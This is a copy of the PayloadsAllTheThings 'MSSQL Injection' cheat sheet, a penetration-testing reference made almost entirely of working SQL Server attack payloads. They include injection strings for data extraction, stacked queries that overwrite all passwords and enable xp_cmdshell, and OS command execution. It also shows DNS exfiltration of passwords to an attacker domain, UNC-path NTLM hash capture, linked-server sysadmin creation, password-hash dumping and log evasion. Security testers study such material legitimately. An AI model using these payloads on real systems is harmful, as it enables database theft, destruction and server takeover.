mssql-injection.md (17531B)
1 --- 2 title: "MSSQL Injection" 3 topic: "SQL Injection" 4 topicSlug: "sql-injection" 5 sourcePath: "SQL Injection/MSSQL Injection.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/SQL%20Injection/MSSQL%20Injection.md" 7 sha: "3ac27901c711" 8 isReadme: false 9 --- 10 11 # MSSQL Injection 12 13 > MSSQL Injection is a type of security vulnerability that can occur when an attacker can insert or "inject" malicious SQL code into a query executed by a Microsoft SQL Server (MSSQL) database. This typically happens when user inputs are directly included in SQL queries without proper sanitization or parameterization. SQL Injection can lead to serious consequences such as unauthorized data access, data manipulation, and even gaining control over the database server. 14 15 ## Summary 16 17 * [MSSQL Default Databases](#mssql-default-databases) 18 * [MSSQL Comments](#mssql-comments) 19 * [MSSQL Enumeration](#mssql-enumeration) 20 * [MSSQL List Databases](#mssql-list-databases) 21 * [MSSQL List Tables](#mssql-list-tables) 22 * [MSSQL List Columns](#mssql-list-columns) 23 * [MSSQL Union Based](#mssql-union-based) 24 * [MSSQL Error Based](#mssql-error-based) 25 * [MSSQL Blind Based](#mssql-blind-based) 26 * [MSSQL Blind With Substring Equivalent](#mssql-blind-with-substring-equivalent) 27 * [MSSQL Time Based](#mssql-time-based) 28 * [MSSQL Stacked Query](#mssql-stacked-query) 29 * [MSSQL File Manipulation](#mssql-file-manipulation) 30 * [MSSQL Read File](#mssql-read-file) 31 * [MSSQL Write File](#mssql-write-file) 32 * [MSSQL Command Execution](#mssql-command-execution) 33 * [XP_CMDSHELL](#xp_cmdshell) 34 * [Python Script](#python-script) 35 * [MSSQL Out of Band](#mssql-out-of-band) 36 * [MSSQL DNS Exfiltration](#mssql-dns-exfiltration) 37 * [MSSQL UNC Path](#mssql-unc-path) 38 * [MSSQL Trusted Links](#mssql-trusted-links) 39 * [MSSQL Privileges](#mssql-privileges) 40 * [MSSQL List Permissions](#mssql-list-permissions) 41 * [MSSQL Make User DBA](#mssql-make-user-dba) 42 * [MSSQL Database Credentials](#mssql-database-credentials) 43 * [MSSQL OPSEC](#mssql-opsec) 44 * [References](#references) 45 46 ## MSSQL Default Databases 47 48 | Name | Description | 49 | ------------------ | ------------------------------------ | 50 | pubs | Not available on MSSQL 2005 | 51 | model | Available in all versions | 52 | msdb | Available in all versions | 53 | tempdb | Available in all versions | 54 | northwind | Available in all versions | 55 | information_schema | Available from MSSQL 2000 and higher | 56 57 ## MSSQL Comments 58 59 | Type | Description | 60 | --------------------- | --------------- | 61 | `/* MSSQL Comment */` | C-style comment | 62 | `--` | SQL comment | 63 | `;%00` | Null byte | 64 65 ## MSSQL Enumeration 66 67 | Description | SQL Query | 68 | --------------- | ----------------------------------------- | 69 | DBMS version | `SELECT @@version` | 70 | Database name | `SELECT DB_NAME()` | 71 | Database schema | `SELECT SCHEMA_NAME()` | 72 | Hostname | `SELECT HOST_NAME()` | 73 | Hostname | `SELECT @@hostname` | 74 | Hostname | `SELECT @@SERVERNAME` | 75 | Hostname | `SELECT SERVERPROPERTY('productversion')` | 76 | Hostname | `SELECT SERVERPROPERTY('productlevel')` | 77 | Hostname | `SELECT SERVERPROPERTY('edition')` | 78 | User | `SELECT CURRENT_USER` | 79 | User | `SELECT user_name();` | 80 | User | `SELECT system_user;` | 81 | User | `SELECT user;` | 82 83 ### MSSQL List Databases 84 85 ```sql 86 SELECT name FROM master..sysdatabases; 87 SELECT name FROM master.sys.databases; 88 89 -- for N = 0, 1, 2, … 90 SELECT DB_NAME(N); 91 92 -- Change delimiter value such as ', ' to anything else you want => master, tempdb, model, msdb 93 -- (Only works in MSSQL 2017+) 94 SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; 95 ``` 96 97 ### MSSQL List Tables 98 99 ```sql 100 -- use xtype = 'V' for views 101 SELECT name FROM master..sysobjects WHERE xtype = 'U'; 102 SELECT name FROM <DBNAME>..sysobjects WHERE xtype='U' 103 SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U'; 104 105 -- list column names and types for master..sometable 106 SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; 107 108 SELECT table_catalog, table_name FROM information_schema.columns 109 SELECT table_name FROM information_schema.tables WHERE table_catalog='<DBNAME>' 110 111 -- Change delimiter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+) 112 SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; 113 ``` 114 115 ### MSSQL List Columns 116 117 ```sql 118 -- for the current DB only 119 SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); 120 121 -- list column names and types for master..sometable 122 SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; 123 124 SELECT table_catalog, column_name FROM information_schema.columns 125 126 SELECT COL_NAME(OBJECT_ID('<DBNAME>.<TABLE_NAME>'), <INDEX>) 127 ``` 128 129 ## MSSQL Union Based 130 131 * Extract databases names 132 133 ```sql 134 $ SELECT name FROM master..sysdatabases 135 [*] Injection 136 [*] msdb 137 [*] tempdb 138 ``` 139 140 * Extract tables from Injection database 141 142 ```sql 143 $ SELECT name FROM Injection..sysobjects WHERE xtype = 'U' 144 [*] Profiles 145 [*] Roles 146 [*] Users 147 ``` 148 149 * Extract columns for the table Users 150 151 ```sql 152 $ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users') 153 [*] UserId 154 [*] UserName 155 ``` 156 157 * Finally extract the data 158 159 ```sql 160 SELECT UserId, UserName from Users 161 ``` 162 163 ## MSSQL Error Based 164 165 | Name | Payload | 166 | ------- | ---------------------------------------------------------------- | 167 | CONVERT | `AND 1337=CONVERT(INT,(SELECT '~'+(SELECT @@version)+'~')) -- -` | 168 | IN | `AND 1337 IN (SELECT ('~'+(SELECT @@version)+'~')) -- -` | 169 | EQUAL | `AND 1337=CONCAT('~',(SELECT @@version),'~') -- -` | 170 | CAST | `CAST((SELECT @@version) AS INT)` | 171 172 * For integer inputs 173 174 ```sql 175 convert(int,@@version) 176 cast((SELECT @@version) as int) 177 ``` 178 179 * For string inputs 180 181 ```sql 182 ' + convert(int,@@version) + ' 183 ' + cast((SELECT @@version) as int) + ' 184 ``` 185 186 ## MSSQL Blind Based 187 188 ```sql 189 AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- - 190 ``` 191 192 ```sql 193 SELECT @@version WHERE @@version LIKE '%12.0.2000.8%' 194 WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table) 195 SELECT message FROM data WHERE row = 1 and message like 't%' 196 ``` 197 198 ### MSSQL Blind With Substring Equivalent 199 200 | Function | Example | 201 | ----------- | ---------------------------------------- | 202 | `SUBSTRING` | `SUBSTRING('foobar', <START>, <LENGTH>)` | 203 204 Examples: 205 206 ```sql 207 AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97 208 AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- 209 AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A' 210 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90 211 ``` 212 213 ## MSSQL Time Based 214 215 In a time-based blind SQL injection attack, an attacker injects a payload that uses `WAITFOR DELAY` to make the database pause for a certain period. The attacker then observes the response time to infer whether the injected payload executed successfully or not. 216 217 ```sql 218 ProductID=1;waitfor delay '0:0:10'-- 219 ProductID=1);waitfor delay '0:0:10'-- 220 ProductID=1';waitfor delay '0:0:10'-- 221 ProductID=1');waitfor delay '0:0:10'-- 222 ProductID=1));waitfor delay '0:0:10'-- 223 ``` 224 225 ```sql 226 IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' 227 IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0'; 228 ``` 229 230 ## MSSQL Stacked Query 231 232 * Stacked query without any statement terminator 233 234 ```sql 235 -- multiple SELECT statements 236 SELECT 'A'SELECT 'B'SELECT 'C' 237 238 -- updating password with a stacked query 239 SELECT id, username, password FROM users WHERE username = 'admin'exec('update[users]set[password]=''a''')-- 240 241 -- using the stacked query to enable xp_cmdshell 242 -- you won't have the output of the query, redirect it to a file 243 SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- 244 ``` 245 246 * Use a semi-colon "`;`" to add another query 247 248 ```sql 249 ProductID=1; DROP members-- 250 ``` 251 252 ## MSSQL File Manipulation 253 254 ### MSSQL Read File 255 256 **Permissions**: The `BULK` option requires the `ADMINISTER BULK OPERATIONS` or the `ADMINISTER DATABASE BULK OPERATIONS` permission. 257 258 ```sql 259 OPENROWSET(BULK 'C:\path\to\file', SINGLE_CLOB) 260 ``` 261 262 Example: 263 264 ```sql 265 -1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null 266 ``` 267 268 ### MSSQL Write File 269 270 ```sql 271 execute spWriteStringToFile 'contents', 'C:\path\to\', 'file' 272 ``` 273 274 ## MSSQL Command Execution 275 276 ### XP_CMDSHELL 277 278 `xp_cmdshell` is a system stored procedure in Microsoft SQL Server that allows you to run operating system commands directly from within T-SQL (Transact-SQL). 279 280 ```sql 281 EXEC xp_cmdshell "net user"; 282 EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'; 283 EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1'; 284 ``` 285 286 If you need to reactivate `xp_cmdshell`, it is disabled by default in SQL Server 2005. 287 288 ```sql 289 -- Enable advanced options 290 EXEC sp_configure 'show advanced options',1; 291 RECONFIGURE; 292 293 -- Enable xp_cmdshell 294 EXEC sp_configure 'xp_cmdshell',1; 295 RECONFIGURE; 296 ``` 297 298 ### Python Script 299 300 > Executed by a different user than the one using `xp_cmdshell` to execute commands 301 302 ```powershell 303 EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())' 304 EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))' 305 EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())' 306 ``` 307 308 ## MSSQL Out of Band 309 310 ### MSSQL DNS exfiltration 311 312 Technique from [@ptswarm](https://twitter.com/ptswarm/status/1313476695295512578/photo/1) 313 314 * **Permission**: Requires `VIEW SERVER STATE` permission on the server. 315 316 ```powershell 317 1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.[ATTACKER.DOMAIN.TLD]\1.xem',null,null)) 318 ``` 319 320 * **Permission**: Requires the `CONTROL SERVER` permission. 321 322 ```powershell 323 1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.[ATTACKER.DOMAIN.TLD]\',default,default))) 324 1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.[ATTACKER.DOMAIN.TLD]\1.trc',default)) 325 ``` 326 327 ### MSSQL UNC Path 328 329 MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the `xp_dirtree` function to list the files in our SMB share and grab the NTLMv2 hash. 330 331 ```sql 332 1'; use master; exec xp_dirtree '\\10.10.10.10\SHARE';-- 333 ``` 334 335 ```sql 336 xp_dirtree '\\10.10.10.10\file' 337 xp_fileexist '\\10.10.10.10\file' 338 BACKUP LOG [TESTING] TO DISK = '\\10.10.10.10\file' 339 BACKUP DATABASE [TESTING] TO DISK = '\\10.10.10.10\file' 340 RESTORE LOG [TESTING] FROM DISK = '\\10.10.10.10\file' 341 RESTORE DATABASE [TESTING] FROM DISK = '\\10.10.10.10\file' 342 RESTORE HEADERONLY FROM DISK = '\\10.10.10.10\file' 343 RESTORE FILELISTONLY FROM DISK = '\\10.10.10.10\file' 344 RESTORE LABELONLY FROM DISK = '\\10.10.10.10\file' 345 RESTORE REWINDONLY FROM DISK = '\\10.10.10.10\file' 346 RESTORE VERIFYONLY FROM DISK = '\\10.10.10.10\file' 347 ``` 348 349 ## MSSQL Trusted Links 350 351 A trusted link in Microsoft SQL Server is a linked server relationship that allows one SQL Server instance to execute queries and even remote procedures on another server (or external OLE DB source) as if the remote server were part of the local environment. Linked servers expose options that control whether remote procedures and RPC calls are allowed and what security context is used on the remote server. 352 353 > The links between databases work even across forest trusts. 354 355 * Find links using `sysservers`: contains one row for each server that an instance of SQL Server can access as an OLE DB data source. 356 357 ```sql 358 select * from master..sysservers 359 ``` 360 361 * Execute query through the link 362 363 ```sql 364 select * from openquery("dcorp-sql1", 'select * from master..sysservers') 365 select version from openquery("linkedserver", 'select @@version as version') 366 367 -- Chain multiple openquery 368 select version from openquery("link1",'select version from openquery("link2","select @@version as version")') 369 ``` 370 371 * Execute shell commands 372 373 ```sql 374 -- Enable xp_cmdshell and execute "dir" command 375 EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer 376 select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"') 377 378 -- Create a SQL user and give sysadmin privileges 379 EXECUTE('EXECUTE(''CREATE LOGIN User WITH PASSWORD = ''''Password123'''' '') AT "DOMAIN\SQL01"') AT "DOMAIN\SQL02" 380 EXECUTE('EXECUTE(''sp_addsrvrolemember ''''User'''' , ''''sysadmin'''' '') AT "DOMAIN\SQL01"') AT "DOMAIN\SQL02" 381 ``` 382 383 ## MSSQL Privileges 384 385 ### MSSQL List Permissions 386 387 * Listing effective permissions of current user on the server. 388 389 ```sql 390 SELECT * FROM fn_my_permissions(NULL, 'SERVER'); 391 ``` 392 393 * Listing effective permissions of current user on the database. 394 395 ```sql 396 SELECT * FROM fn_my_permissions (NULL, 'DATABASE'); 397 ``` 398 399 * Listing effective permissions of current user on a view. 400 401 ```sql 402 SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name; 403 ``` 404 405 * Check if current user is a member of the specified server role. 406 407 ```sql 408 -- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin 409 SELECT is_srvrolemember('sysadmin'); 410 ``` 411 412 ### MSSQL Make User DBA 413 414 ```sql 415 EXEC master.dbo.sp_addsrvrolemember 'User', 'sysadmin'; 416 ``` 417 418 ## MSSQL Database Credentials 419 420 * **MSSQL 2000**: Hashcat mode 131: `0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578` 421 422 ```sql 423 SELECT name, password FROM master..sysxlogins 424 SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins 425 -- Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer 426 ``` 427 428 * **MSSQL 2005**: Hashcat mode 132: `0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe` 429 430 ```sql 431 SELECT name, password_hash FROM master.sys.sql_logins 432 SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins 433 ``` 434 435 ## MSSQL OPSEC 436 437 Use `SP_PASSWORD` in a query to hide from the logs like : `' AND 1=1--sp_password` 438 439 ```sql 440 -- 'sp_password' was found in the text of this event. 441 -- The text has been replaced with this comment for security reasons. 442 ``` 443 444 ## References 445 446 * [AWS WAF Clients Left Vulnerable to SQL Injection Due to Unorthodox MSSQL Design Choice - Marc Olivier Bergeron - June 21, 2023](https://web.archive.org/web/20240219205617/https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) 447 * [Error based SQL Injection in "Order By" clause - Manish Kishan Tanwar - March 26, 2018](https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20“Order%20By”%20clause%20(MSSQL).pdf) 448 * [Full MSSQL Injection PWNage - ZeQ3uL && JabAv0C - January 28, 2009](https://web.archive.org/web/20260222213546/https://www.exploit-db.com/papers/12975) 449 * [IS_SRVROLEMEMBER (Transact-SQL) - Microsoft - April 9, 2024](https://web.archive.org/web/20220906233249/https://docs.microsoft.com/en-us/SQL/t-sql/functions/is-srvrolemember-transact-sql?view=sql-server-ver15) 450 * [MSSQL Injection Cheat Sheet - @pentestmonkey - August 30, 2011](https://web.archive.org/web/20260214013447/https://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet) 451 * [MSSQL Trusted Links - HackTricks - September 15, 2024](https://web.archive.org/web/20241126085555/https://book.hacktricks.xyz/windows/active-directory-methodology/mssql-trusted-links) 452 * [SQL Server - Link… Link… Link… and Shell: How to Hack Database Links in SQL Server! - Antti Rantasaari - June 6, 2013](https://web.archive.org/web/20210227063841/https://blog.netspi.com/how-to-hack-database-links-in-sql-server/) 453 * [sys.fn_my_permissions (Transact-SQL) - Microsoft - January 25, 2024](https://web.archive.org/web/20220907211545/https://docs.microsoft.com/en-us/SQL/relational-databases/system-functions/sys-fn-my-permissions-transact-sql?view=sql-server-ver15)